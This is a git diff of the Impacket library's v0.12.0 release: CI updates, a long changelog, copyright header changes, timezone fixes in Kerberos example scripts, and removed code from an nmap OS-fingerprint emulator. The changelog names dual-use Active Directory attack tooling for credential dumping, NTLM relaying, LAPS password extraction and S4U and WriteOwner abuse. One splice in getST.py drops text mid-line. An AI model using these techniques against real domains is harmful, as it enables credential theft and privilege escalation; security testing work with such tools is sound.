diff --git a/.github/workflows/build_and_test.yml b/.github/workflows/build_and_test.yml index cd88e8e2e1..42757df25b 100644 --- a/.github/workflows/build_and_test.yml +++ b/.github/workflows/build_and_test.yml @@ -48,14 +48,11 @@ jobs: strategy: fail-fast: false matrix: - python-version: ["3.7", "3.8", "3.9", "3.10"] + python-version: ["3.8", "3.9", "3.10","3.11"] experimental: [false] os: [ubuntu-latest] include: - - python-version: "3.6" - experimental: false - os: ubuntu-20.04 - - python-version: "3.11-dev" + - python-version: "3.12-dev" experimental: true os: ubuntu-latest continue-on-error: ${{ matrix.experimental }} diff --git a/ChangeLog.md b/ChangeLog.md index 8c026649d1..a927527dca 100644 --- a/ChangeLog.md +++ b/ChangeLog.md @@ -5,12 +5,24 @@ Project owner's main page is at www.coresecurity.com. Complete list of changes can be found at: https://github.com/fortra/impacket/commits/master -## Impacket v0.12.0-dev: +## Impacket v0.12.0 (Sep 2024): 1. Library improvements + * Fixed broken hRSetServiceObjectSecurity method (@rkivys) * Removed dsinternals dependency (@anadrianmanrique) * Fixed srvs.hNetrShareEnum returning erronous shares (@cnotin) - -2. Examples improvements + * Fixed lmhash computing to support non standard characters in the password (@anadrianmanrique) + * Assorted fixes when processing Unicode data (@alexisbalbachan) + * Added `[MS-GKDI]` Group Key Distribution Protocol implementation (@zblurx) + * Fixed incorrect padding in SMBSessionSetupAndX_Extended_ResponseData (@rtpt-erikgeiser) + * Upgraded dependency pyreadline -> pyreadline3 (@anadrianmanrique) + * SMB Server: + * Added query information level 0x0109 for smb1 "SMB_QUERY_FILE_STREAM_INFO" (@Adamkadaban) + * Fixed filename encoding in queryPathInformation (@JerAxxxxxxx) + * Fixed NextEntryOffset for large directory listings (@robnanola) + * Fixed server returning an empty folder when cutting and pasting recursive directories (@robnanola) + * DHCP: Fixed encoding issues (@ujwalkomarla) + +3. Examples improvements * [secretsdump.py](examples/secretsdump.py): * Double DC Sync performance for DCs supporting SID lookups (@tomspencer) * Added ability to skip dumping of SAM or SECURITY hives when performing remote operations (@RazzburyPi) @@ -23,24 +35,73 @@ https://github.com/fortra/impacket/commits/master * Fix kerberos with remoteHost & add '-target-ip'(@XiaoliChan) * [ntlmrelayx.py](examples/ntlmrelayx.py): * Added the creation of a new machine account through SMB (@BlWasp) - * NTLMRelayX Multirelay fixes for target handling (@alexisbalbachan) - * Writes certificates to file rather than outputting b64 to console (@RazzburyPi) + * NTLMRelayX Multirelay fixes for target handling, added --keep-relaying flag (@alexisbalbachan) + * Logging multirelay status when triggering the example (@gabrielg5) + * Write certificates to file rather than outputting b64 to console (@RazzburyPi) * Improved ability to continue relaying to ADCS web enrollment endpoint in order to request multiple certificates for different users (@RazzburyPi) + * Fixed compatibility issue with other SMB clients connecting to the SOCKS proxy created by ntlmrelayx (@jfjallid) + * Allow configuration of the SOCKS5 address and port (@rtpt-erikgeiser) + * Fixed implementation of MSSQLShell (@gabrielg5) + * Logging notification of received connections in all relay servers (@gabrielg5) + * Add domain and username to interactive Ldap shell message (@minniear) + * Enhanced MSSQLShell in NTLMRelayX leveraging TcpShell & output messages (@gabrielg5) + * LDAP Attack: Bugfixes when parsing responses (@SAERXCIT) * [getST.py](examples/getST.py): * Added -self, -altservice and -u2u for S4U2self abuse, S4U2self+u2u, and service substitution (@ShutdownRepo) + * Added ability to set the RENEW ticket option to renew a TGT (@shikatano) + * Fixed unicode encoding error when using the -impersonate flag (@alexisbalbachan) + * [getTGT.py](examples/getTGT.py): + * Added principalType as new parameter (@DevSpork) * [reg.py](examples/reg.py): * Start remote registry as unprivileged user in reg.py (@dadevel) - * [smbclient.py](examples/smbclient.py): Added ability to provide an output file that the smbclient mini shell will write commands and output to (@RazzburyPi) - -3. New examples + * Allow adding Binary values (@dc3l1ne) + * Add missing Null byte for REG_SZ values (@PfiatDe) + * Support for adding REG_MULTI_SZ values through (@garbrielg5) + * [smbclient.py](examples/smbclient.py): + * Added ability to provide an output file that the smbclient mini shell will write commands and output to (@RazzburyPi) + * Fixed path parse issue when running `tree` command (@trietend) + * [smbserver.py](examples/smbserver.py): + * Added parameter "-outputfile" to set smbserver log file(gabrielg5) + * [DumpNTLMInfo.py](examples/DumpNTLMInfo.py): + * Allow execution on non-default ports (@jeffmcjunkin) + * Fixed KeyError exception when running with a Windows 2003 target (@XiaoliChan) + * [findDelegation.py](examples/findDelegation.py): + * Added new column to show if SPN exists (@p0dalirius) + * [mssqlclient.py](examples/mssqlclient.py): + * Added `-target-ip` parameter to allow Kerberos authentication without much change in the DNS configuration of the local machine (@Palkovsky) + * [mssqlshell.py](examples/mssqlshell.py): + * Switching back to original DB after running `enum_impersonate` command (@exploide) + * Fixed logging in printReplies showing error messages (@gabrielg5) + * [registry-read.py](examples/registry-read.py): + * Fixed scenario where value name contains backlash (@DidierA) + * [net.py](examples/net.py): + * Fixed User "Account Active" property value (@marcobarlottini) + * Fixed log messages printing variables in the wrong order (@Cyb3rC3lt) + * [rbcd.py](examples/rbcd.py): + * Handled SID not found in LDAP error (@ShutdownRepo) + * [GetUserSPNs.py](examples/GetUserSPNs.py): + * Updated the help information for -outputfile to be consistent with -save (@scarvell) + * [ntfs-read.py](examples/ntfs-read.py): + * Minor refactor in ntfs-read.py to make it more human-readable (@NtAlexio2) + * [ldap_shell.py](examples/ldap_shell.py): + * Added support for dirsync and whoami commands (@nurfed1) + * [lookupsid.py](examples/lookupsid.py): + * Now supports kerberos auth (@A1vinSmith) + * [samrdump.py](examples/samrdump.py): + * Will fetch AdminComment using MSRPC (@joeldeleep) + * [tstool.py](examples/tstool.py): + * Added support for kerberos auth, resolves SIDs (@nopernik) + +4. New examples * [describeTicket.py](examples/describeTicket.py): Ticket describer and decrypter. (@ShutdownRepo) * [GetADComputers.py](examples/GetADComputers.py): Query's DC via LDAP and returns the COMPUTER objects and the useful attributes such as full dns name, operating system name and version. (@F-Masood) - * [readLAPS.py](examples/readLAPS.py): Tries to read all the LAPS password from the current domain computers. (@F-Masood) - * [dacledit.py](examples/dacledit.py): This script can be used to read, write, remove, backup, restore ACEs (Access Control Entries) in an object DACL (Discretionary Access Control List). (@_nwodtuhs) (@BlWasp_) (@Wlayzz) + * [GetLAPSPassword.py](examples/GetLAPSPassword.py): Extract LAPS passwords from LDAP (@zblurx and @dru1d-foofus) + * [dacledit.py](examples/dacledit.py): This script can be used to read, write, remove, backup, restore ACEs (Access Control Entries) in an object DACL (Discretionary Access Control List). (@ShutdownRepo) (@BlWasp_) (@Wlayzz) + * [owneredit.py](examples/owneredit.py): Added this script to abuse WriteOwner (ADS_RIGHT_WRITE_OWNER) access rights. This allows to take ownership of another object, and then edit that object's DACL (@ShutdownRepo) (@BlWasp_) As always, thanks a lot to all these contributors that make this library better every day (up to now): -@tomspencer @anadrianmanrique @ShutdownRepo @dadevel @gjhami @NtAlexio2 @F-Masood @BlWasp @gabrielg5 @XiaoliChan @omry99 @Wlayzz @themaks @alexisbalbachan @RazzburyPi +@tomspencer @anadrianmanrique @ShutdownRepo @dadevel @gjhami @NtAlexio2 @F-Masood @BlWasp @gabrielg5 @XiaoliChan @omry99 @Wlayzz @themaks @alexisbalbachan @RazzburyPi @jeffmcjunkin @p0dalirius @dc3l1ne @jfjallid @Palkovsky @rtpt-erikgeiser @trietend @zblurx @dru1d-foofus @PfiatDe @DidierA @marcobarlottini @PeterGabaldon @m8r1us @5yn @tzuralon @Adamkadaban @scarvell @JerAxxxxxxx @ujwalkomarla @robnanola @SAERXCIT @nurfed1 @A1vinSmith @joeldeleep @nopernik ## Impacket v0.11.0 (Aug 2023): @@ -661,7 +722,7 @@ As always, thanks a lot to all these contributors that make this library better UUIDs used and that information is included as well. This could be helpful when reading a portmap output and to develop new functionality to interact against a target interface. * `smbexec.py`: Another alternative to psexec. Less capabilities but might work on tight AV environments. Based on the - technique described at https://www.optiv.com/blog/owning-computers-without-shell-access. It also + technique described at https://web.archive.org/web/20190515131124/https://www.optiv.com/blog/owning-computers-without-shell-access. It also supports instantiating a local smbserver to receive the output of the commandos executed for those situations where no share is available on the other end. * `smbrelayx.py`: It now also listens on port 80 and forwards/reflects the credentials accordingly. diff --git a/README.md b/README.md index 7ebbad8419..fc9dba1871 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ Impacket [![Latest Version](https://img.shields.io/pypi/v/impacket.svg)](https://pypi.python.org/pypi/impacket/) [![Build and test Impacket](https://github.com/fortra/impacket/actions/workflows/build_and_test.yml/badge.svg)](https://github.com/fortra/impacket/actions/workflows/build_and_test.yml) -FORTRA. Copyright (C) 2023 Fortra. All rights reserved. +Copyright Fortra, LLC and its affiliated companies. All rights reserved. Impacket was originally created by [SecureAuth](https://www.secureauth.com/labs/open-source-tools/impacket), and now maintained by Fortra's Core Security. @@ -50,7 +50,7 @@ Getting Impacket ### Latest version -* Impacket v0.11.0 +* Impacket v0.12.0 [![Python versions](https://img.shields.io/pypi/pyversions/impacket.svg)](https://pypi.python.org/pypi/impacket/) @@ -58,9 +58,9 @@ Getting Impacket ### Development version -* Impacket v0.12.0-dev (**[master branch](https://github.com/fortra/impacket/tree/master)**) +* Impacket v0.13.0-dev (**[master branch](https://github.com/fortra/impacket/tree/master)**) - [![Python versions](https://img.shields.io/badge/python-3.6%20|%203.7%20|%203.8%20|%203.9%20|%203.10-blue.svg)](https://github.com/fortra/impacket/tree/master) + [![Python versions](https://img.shields.io/badge/python-3.8%20|%203.9%20|%203.10%20|%203.11%20|%203.12-blue.svg)](https://github.com/fortra/impacket/tree/master) Setup diff --git a/examples/DumpNTLMInfo.py b/examples/DumpNTLMInfo.py index c4bc3b74c9..8ba9be341a 100644 --- a/examples/DumpNTLMInfo.py +++ b/examples/DumpNTLMInfo.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/Get-GPPPassword.py b/examples/Get-GPPPassword.py index 7d30d43861..8b50773c66 100755 --- a/examples/Get-GPPPassword.py +++ b/examples/Get-GPPPassword.py @@ -1,7 +1,9 @@ #!/usr/bin/env python3 # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/GetADComputers.py b/examples/GetADComputers.py index 56de86a7dc..2ed1b5dd5d 100644 --- a/examples/GetADComputers.py +++ b/examples/GetADComputers.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2024 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/GetADUsers.py b/examples/GetADUsers.py index 3d7b7f5620..06f9738609 100755 --- a/examples/GetADUsers.py +++ b/examples/GetADUsers.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/GetLAPSPassword.py b/examples/GetLAPSPassword.py index 1177eeec3c..1008b7a50f 100755 --- a/examples/GetLAPSPassword.py +++ b/examples/GetLAPSPassword.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/GetNPUsers.py b/examples/GetNPUsers.py index c83d4f3aba..3b718f55c7 100755 --- a/examples/GetNPUsers.py +++ b/examples/GetNPUsers.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -160,7 +162,7 @@ def getTGT(self, userName, requestPAC=True): reqBody['realm'] = domain - now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) diff --git a/examples/GetUserSPNs.py b/examples/GetUserSPNs.py index c8584b9814..5b477345e6 100755 --- a/examples/GetUserSPNs.py +++ b/examples/GetUserSPNs.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/addcomputer.py b/examples/addcomputer.py index d046c2c1c5..120428bb6a 100755 --- a/examples/addcomputer.py +++ b/examples/addcomputer.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -355,7 +357,7 @@ def LDAP3KerberosLogin(self, connection, user, password, domain='', lmhash='', n authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) - now = datetime.datetime.utcnow() + now = datetime.datetime.now(datetime.timezone.utc) authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) diff --git a/examples/atexec.py b/examples/atexec.py index 2315348907..2025f83f65 100755 --- a/examples/atexec.py +++ b/examples/atexec.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/changepasswd.py b/examples/changepasswd.py index 97d627ca02..d18fcfdca2 100755 --- a/examples/changepasswd.py +++ b/examples/changepasswd.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/dacledit.py b/examples/dacledit.py index 71d21236f5..00fbb93af9 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -1,7 +1,9 @@ #!/usr/bin/env python3 # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2024 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -96,7 +98,7 @@ 'S-1-5-64-14': 'SChannel Authentication', 'S-1-5-64-21': 'Digest Authority', 'S-1-5-80': 'NT Service', - 'S-1-5-83-0': 'NT VIRTUAL MACHINE\Virtual Machines', + 'S-1-5-83-0': 'NT VIRTUAL MACHINE\\Virtual Machines', 'S-1-16-0': 'Untrusted Mandatory Level', 'S-1-16-4096': 'Low Mandatory Level', 'S-1-16-8192': 'Medium Mandatory Level', @@ -105,24 +107,24 @@ 'S-1-16-16384': 'System Mandatory Level', 'S-1-16-20480': 'Protected Process Mandatory Level', 'S-1-16-28672': 'Secure Process Mandatory Level', - 'S-1-5-32-554': 'BUILTIN\Pre-Windows 2000 Compatible Access', - 'S-1-5-32-555': 'BUILTIN\Remote Desktop Users', - 'S-1-5-32-557': 'BUILTIN\Incoming Forest Trust Builders', + 'S-1-5-32-554': 'BUILTIN\\Pre-Windows 2000 Compatible Access', + 'S-1-5-32-555': 'BUILTIN\\Remote Desktop Users', + 'S-1-5-32-557': 'BUILTIN\\Incoming Forest Trust Builders', 'S-1-5-32-556': 'BUILTIN\\Network Configuration Operators', - 'S-1-5-32-558': 'BUILTIN\Performance Monitor Users', - 'S-1-5-32-559': 'BUILTIN\Performance Log Users', - 'S-1-5-32-560': 'BUILTIN\Windows Authorization Access Group', - 'S-1-5-32-561': 'BUILTIN\Terminal Server License Servers', - 'S-1-5-32-562': 'BUILTIN\Distributed COM Users', - 'S-1-5-32-569': 'BUILTIN\Cryptographic Operators', - 'S-1-5-32-573': 'BUILTIN\Event Log Readers', - 'S-1-5-32-574': 'BUILTIN\Certificate Service DCOM Access', - 'S-1-5-32-575': 'BUILTIN\RDS Remote Access Servers', - 'S-1-5-32-576': 'BUILTIN\RDS Endpoint Servers', - 'S-1-5-32-577': 'BUILTIN\RDS Management Servers', - 'S-1-5-32-578': 'BUILTIN\Hyper-V Administrators', - 'S-1-5-32-579': 'BUILTIN\Access Control Assistance Operators', - 'S-1-5-32-580': 'BUILTIN\Remote Management Users', + 'S-1-5-32-558': 'BUILTIN\\Performance Monitor Users', + 'S-1-5-32-559': 'BUILTIN\\Performance Log Users', + 'S-1-5-32-560': 'BUILTIN\\Windows Authorization Access Group', + 'S-1-5-32-561': 'BUILTIN\\Terminal Server License Servers', + 'S-1-5-32-562': 'BUILTIN\\Distributed COM Users', + 'S-1-5-32-569': 'BUILTIN\\Cryptographic Operators', + 'S-1-5-32-573': 'BUILTIN\\Event Log Readers', + 'S-1-5-32-574': 'BUILTIN\\Certificate Service DCOM Access', + 'S-1-5-32-575': 'BUILTIN\\RDS Remote Access Servers', + 'S-1-5-32-576': 'BUILTIN\\RDS Endpoint Servers', + 'S-1-5-32-577': 'BUILTIN\\RDS Management Servers', + 'S-1-5-32-578': 'BUILTIN\\Hyper-V Administrators', + 'S-1-5-32-579': 'BUILTIN\\Access Control Assistance Operators', + 'S-1-5-32-580': 'BUILTIN\\Remote Management Users', } @@ -871,7 +873,7 @@ def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash=' authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) - now = datetime.datetime.utcnow() + now = datetime.datetime.now(datetime.timezone.utc) authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) diff --git a/examples/dcomexec.py b/examples/dcomexec.py index f1748243a6..7f3dd1105f 100755 --- a/examples/dcomexec.py +++ b/examples/dcomexec.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 8fcebb430a..8d4a6824fe 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -1,7 +1,9 @@ #!/usr/bin/env python3 # Impacket - Collection of Python classes for working with network protocols. # -# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/dpapi.py b/examples/dpapi.py index 7036e4fdc4..42e96fa736 100755 --- a/examples/dpapi.py +++ b/examples/dpapi.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/esentutl.py b/examples/esentutl.py index a52188f76c..a6ae81e121 100755 --- a/examples/esentutl.py +++ b/examples/esentutl.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/exchanger.py b/examples/exchanger.py index 18675285b7..4a35287e10 100755 --- a/examples/exchanger.py +++ b/examples/exchanger.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/findDelegation.py b/examples/findDelegation.py index 371e9cb311..e194e190f3 100755 --- a/examples/findDelegation.py +++ b/examples/findDelegation.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/getArch.py b/examples/getArch.py index 94c8c257c4..c10a1185cd 100755 --- a/examples/getArch.py +++ b/examples/getArch.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file diff --git a/examples/getPac.py b/examples/getPac.py index df21058519..61d6cb1fc7 100755 --- a/examples/getPac.py +++ b/examples/getPac.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -146,7 +148,7 @@ def dump(self): seq_set(authenticator, 'cname', clientName.components_to_asn1) - now = datetime.datetime.utcnow() + now = datetime.datetime.now(datetime.timezone.utc) authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) @@ -236,7 +238,7 @@ def dump(self): seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) - now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) diff --git a/examples/getST.py b/examples/getST.py index 9ecdb64772..c9b0536a7a 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -1,7 +1,9 @@ #!/usr/bin/env python3 # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2024 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -51,7 +53,7 @@ import struct import sys from binascii import hexlify, unhexlify -from six import b +from six import ensure_binary from pyasn1.codec.der import decoder, encoder from pyasn1.type.univ import noValue @@ -282,7 +284,7 @@ def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey seq_set(authenticator, 'cname', clientName.components_to_asn1) - now = datetime.datetime.utcnow() + now = datetime.datetime.now(datetime.timezone.utc) authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) @@ -334,7 +336,7 @@ def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey myTicket = ticket.to_asn1(TicketAsn1()) seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) - now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) @@ -375,7 +377,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) seq_set(authenticator, 'cname', clientName.components_to_asn1) - now = datetime.datetime.utcnow() + now = datetime.datetime.now(datetime.timezone.utc) authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) @@ -414,7 +416,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) S4UByteArray = struct.pack(' BROKEN! nmap shows no SEQ() output -# Fingerprint = 'Microsoft Windows NT 4.0 SP5 - SP6' # TI=BI TOSI=S SS=S -# Fingerprint = 'Microsoft Windows Vista Business' # TI=I U1(IPL=164) - -# Fingerprint = 'FreeBSD 6.1-RELEASE' # no TI (TI=O) - -# Fingerprint = '2Wire 1701HG wireless ADSL modem' # IE(R=N) - -# Fingerprint = 'Cisco Catalyst 1912 switch' # TOSI=O SS=S - -O_ETH = 0 -O_IP = 1 -O_ARP = 1 -O_UDP = 2 -O_TCP = 2 -O_ICMP = 2 -O_UDP_DATA = 3 -O_ICMP_DATA = 3 - -def string2tuple(string): - if string.find(':') >= 0: - return [int(x) for x in string.split(':')] - else: - return [int(x) for x in string.split('.')] - -class Responder: - templateClass = None - signatureName = None - - def __init__(self, machine): - self.machine = machine - print("Initializing %s" % self.__class__.__name__) - self.initTemplate() - self.initFingerprint() - - def initTemplate(self): - if not self.templateClass: - self.template_onion = None - else: - try: - probe = self.templateClass(0, ['0.0.0.0',self.getIP()],[0, 0]) - except: - probe = self.templateClass(0, ['0.0.0.0',self.getIP()]) - self.template_onion = [probe.get_packet()] - try: - while 1: self.template_onion.append (self.template_onion[-1].child ()) - except: pass - - # print("Template: %s" % self.template_onion[O_ETH]) - # print("Options: %r" % self.template_onion[O_TCP].get_padded_options()) - # print("Flags: 0x%04x" % self.template_onion[O_TCP].get_th_flags()) - - def initFingerprint(self): - if not self.signatureName: - self.fingerprint = None - else: - self.fingerprint = self.machine.fingerprint.get_tests()[self.signatureName].copy() - - def isMine(self, in_onion): - return False - - def buildAnswer(self, in_onion): - return None - - def sendAnswer(self, out_onion): - self.machine.sendPacket(out_onion) - - def process(self, in_onion): - if not self.isMine(in_onion): return False - print("Got packet for %s" % self.__class__.__name__) - - out_onion = self.buildAnswer(in_onion) - - if out_onion: self.sendAnswer(out_onion) - return True - - def getIP(self): - return self.machine.ipAddress - -# Generic Responders (does the word Responder exist?) - -class ARPResponder(Responder): - def isMine(self, in_onion): - if len(in_onion) < 2: return False - - if in_onion[O_ARP].ethertype != ImpactPacket.ARP.ethertype: - return False - - return ( - in_onion[O_ARP].get_ar_op() == 1 and # ARP REQUEST - in_onion[O_ARP].get_ar_tpa() == string2tuple(self.machine.ipAddress)) - - def buildAnswer(self, in_onion): - eth = ImpactPacket.Ethernet() - arp = ImpactPacket.ARP() - eth.contains(arp) - - arp.set_ar_hrd(1) # Hardward type Ethernet - arp.set_ar_pro(0x800) # IP - arp.set_ar_op(2) # REPLY - arp.set_ar_hln(6) - arp.set_ar_pln(4) - arp.set_ar_sha(string2tuple(self.machine.macAddress)) - arp.set_ar_spa(string2tuple(self.machine.ipAddress)) - arp.set_ar_tha(in_onion[O_ARP].get_ar_sha()) - arp.set_ar_tpa(in_onion[O_ARP].get_ar_spa()) - - eth.set_ether_shost(arp.get_ar_sha()) - eth.set_ether_dhost(arp.get_ar_tha()) - - return [eth, arp] - -class IPResponder(Responder): - def buildAnswer(self, in_onion): - eth = ImpactPacket.Ethernet() - ip = ImpactPacket.IP() - - eth.contains(ip) - - eth.set_ether_shost(in_onion[O_ETH].get_ether_dhost()) - eth.set_ether_dhost(in_onion[O_ETH].get_ether_shost()) - - ip.set_ip_src(in_onion[O_IP].get_ip_dst()) - ip.set_ip_dst(in_onion[O_IP].get_ip_src()) - ip.set_ip_id(self.machine.getIPID()) - - return [eth, ip] - - def sameIPFlags(self, in_onion): - if not self.template_onion: return True - return (self.template_onion[O_IP].get_ip_off() & 0xe000) == (in_onion[O_IP].get_ip_off() & 0xe000) - - def isMine(self, in_onion): - if len(in_onion) < 2: return False - - return ( - (in_onion[O_IP].ethertype == ImpactPacket.IP.ethertype) and - (in_onion[O_IP].get_ip_dst() == self.machine.ipAddress) and - self.sameIPFlags(in_onion) - ) - - def setTTLFromFingerprint(self, out_onion): - f = self.fingerprint - # Test T: Initial TTL = range_low-range_hi, base 16 - # Assumption: we are using the minimum in the TTL range - try: - ttl = f['T'].split('-') - ttl = int(ttl[0], 16) - except: - ttl = 0x7f - - # Test TG: Initial TTL Guess. It's just a number, we prefer this - try: ttl = int(f['TG'], 16) - except: pass - - out_onion[O_IP].set_ip_ttl(ttl) - -class ICMPResponder(IPResponder): - def buildAnswer(self, in_onion): - out_onion = IPResponder.buildAnswer(self, in_onion) - icmp = ImpactPacket.ICMP() - - out_onion[O_IP].contains(icmp) - out_onion.append(icmp) - - icmp.set_icmp_id(in_onion[O_ICMP].get_icmp_id()) - icmp.set_icmp_seq(in_onion[O_ICMP].get_icmp_seq()) - - out_onion[O_IP].set_ip_id(self.machine.getIPID_ICMP()) - - return out_onion - - def isMine(self, in_onion): - if not IPResponder.isMine(self, in_onion): return False - if len(in_onion) < 3: return False - - return (in_onion[O_ICMP].protocol == ImpactPacket.ICMP.protocol) and self.sameICMPTemplate(in_onion) - - def sameICMPTemplate(self, in_onion): - t_ip = self.template_onion[O_IP] - t_icmp = self.template_onion[O_ICMP] - t_icmp_datalen = self.template_onion[O_ICMP_DATA].get_size() - - return ( - 